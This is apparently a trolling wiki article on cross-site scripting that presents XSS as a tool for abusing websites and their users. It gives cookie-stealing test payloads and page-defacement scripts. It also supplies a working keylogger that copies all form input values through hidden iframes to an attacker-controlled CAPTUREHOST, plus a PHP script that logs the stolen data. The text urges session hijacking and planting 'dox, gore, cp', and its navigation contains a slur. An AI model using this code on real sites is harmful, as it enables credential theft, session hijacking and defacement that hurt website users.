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Cross Site Scripting
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FACT ALERT: XSS is winrar. If you can pull it off, pat yourself on the back. |
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Cross Site Scripting is part of a series on Programming. [Enter the Matrix] |
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ADA • Assembly • C • C++ • COBOL • Debug • DOS • Erlang • Error • Fdisk • Fortran • Integer • Java • LOLCode • Machine Code • Matlab • MIRC Script • MUMPS • Open Source • Perl • PHP • Programming language • Python • QBASIC • Ruby on Rails • Scratch • SSH • Visual Basic
Firefox XPS IRC Attack • Safari XPS Attack • Sandworm
Bill Gates • Linus Torvalds • Weev • Goatse Security • Terry Davis • Theo de Raadt
Operating system • Warez • Notepad • Is not a bug, it's a feature • Database Error | |
Cross site scripting (or XSS) is a method of exploiting a website that does not validate user supplied input or sanitize output. Web servers that fail to do so will allow you to run arbitrary javascript on an end users browser.
Entrypoints
XSS entrypoints are usually found in webforms & querystrings. You can test for the existence of xss by using the following string.
<script>alert(document.cookie);</script>
You also may be able to include javascript embedded in a flash object, or an image like so:
<img src="javascript:alert(document,cookie);" />
But this varies between browsers. Another way is like this
<a href="javascript:alert(document.cookie);">link</a>
But this requires your target to click a link
Things To Do
- Hijack user sessions/cookies
- Since user session ID and occasionally usernames/passwords are stored in cookies, you can steal cookie data to impersonate a user by either finding their uname/pass or using their server session ID.
- Log Keystrokes
- You can write some code in javascript to send data via ajax/iframes when a user presses a key.
- Deface pages
- If the xss exploit you've discovered is saved into a database and redisplayed to other users, you can deface the page by overlaying content.
Sample Code
//---Javascript //Overlay a black background with LOL in big white text html='<div style="position:absolute;top:0px;left:0px;z-index:99;width:100%;height:100%;background-color:black;"><h1 style="color:#fff;">LOLHAI</h1></div>'; document.write(html);
//---Javascript //Change the content of <body> html='<h1>LOLHAI</h1>'; window.document.body.innerHTML=html;
//---Javascript
//You can study the structure of a site and change the content for any element ID or tag name
html='<h1>LOLHAI</h1>';
document.getElementById('element_id').innerHTML = html;
document.getElementsByTagName('element_tag')[child].innerHTML = html;
//This is epic for trolling by inserting typos, disinformation, dox, gore, cp, etc
//---Javascript
//This is an example of a keylogger. There is also a php file on this article you can use to capture the data.
randVal = 'loldongs'+(Math.round((10000-5000) * Math.random() + 5000));
wp='<div style=":display:block;width:0;height:0;z-index:0;overflow:hidden;" id="'+randVal+'"></div>';
window.onload=function(){
window.document.body.innerHTML='<div onkeyup="kl();">'+window.document.body.innerHTML+wp+'</div>';
}
function kl(){
inp=document.getElementsByTagName('input');
qs='';
for(var i = 0; i < inp.length; i++){
qs=qs+i+'_'+inp[i].name+'='+inp[i].value+'&';
}
cn=document.getElementById(randVal);
kf='<iframe style="width:0;height:0;" src="http://CAPTUREHOST/capture.php?'+qs+'"></iframe>';
cn.innerHTML=kf;
}
//---capture.php
//This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp
<?php
$dumpFile = "dump";
$fh = fopen($dumpFile, 'a') or die("can't open file");
fwrite($fh, date("m/d/y_g:i:s").'|'.$_SERVER['REMOTE_ADDR'].'|'.$_SERVER['HTTP_REFERER'].'|');
foreach($_GET as $qs => $val){
fwrite($fh, $qs."=".$val.'|');
}
fwrite($fh, "\n");
fclose($fh);
?>
See Also
 Cross Site Scripting is part of a series on Security Faggots |
1337 h4x0rz Captain Crunch • Cult of the Dead Cow • David L. Smith • Gary McKinnon • GOBBLES • HD Moore • Jeff Moss • Kevin Mitnick • Lance M. Havok • Robert Morris • Theo de Raadt • weev • Woz
Try-Hards
2cash • AnonOps • Brian Salcedo • Fearnor • Fry Guy • Gadi Evron • g00ns • Hack This Site • Hacking Team • hann • Joanna Rutkowska • John Field • Joseph Camp • Lizard Squad • LulzSec • Mark Zuckerberg • MarshviperX • Masters of Deception • Michael Lynn • Krashed • Raven • r000t • Ryan • Steve Gibson • th3j35t3r • The Regime • Sabu • Zeekill
Related Shit
Avira • Ciscogate • Cloudflare • Conficker • CyberDefender • Defcon • The Gibson • The Great Em/b/assy Security Leak of 2007 • Heartbleed • I GOT NORTON! • Is Your Son a Computer Hacker? • Operation Sundevil • PIFTS.exe • Social engineering • Stylometry • SubSeven • Zone-H |
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Cross Site Scripting is part of a series on Visit the Trolls Portal for complete coverage. |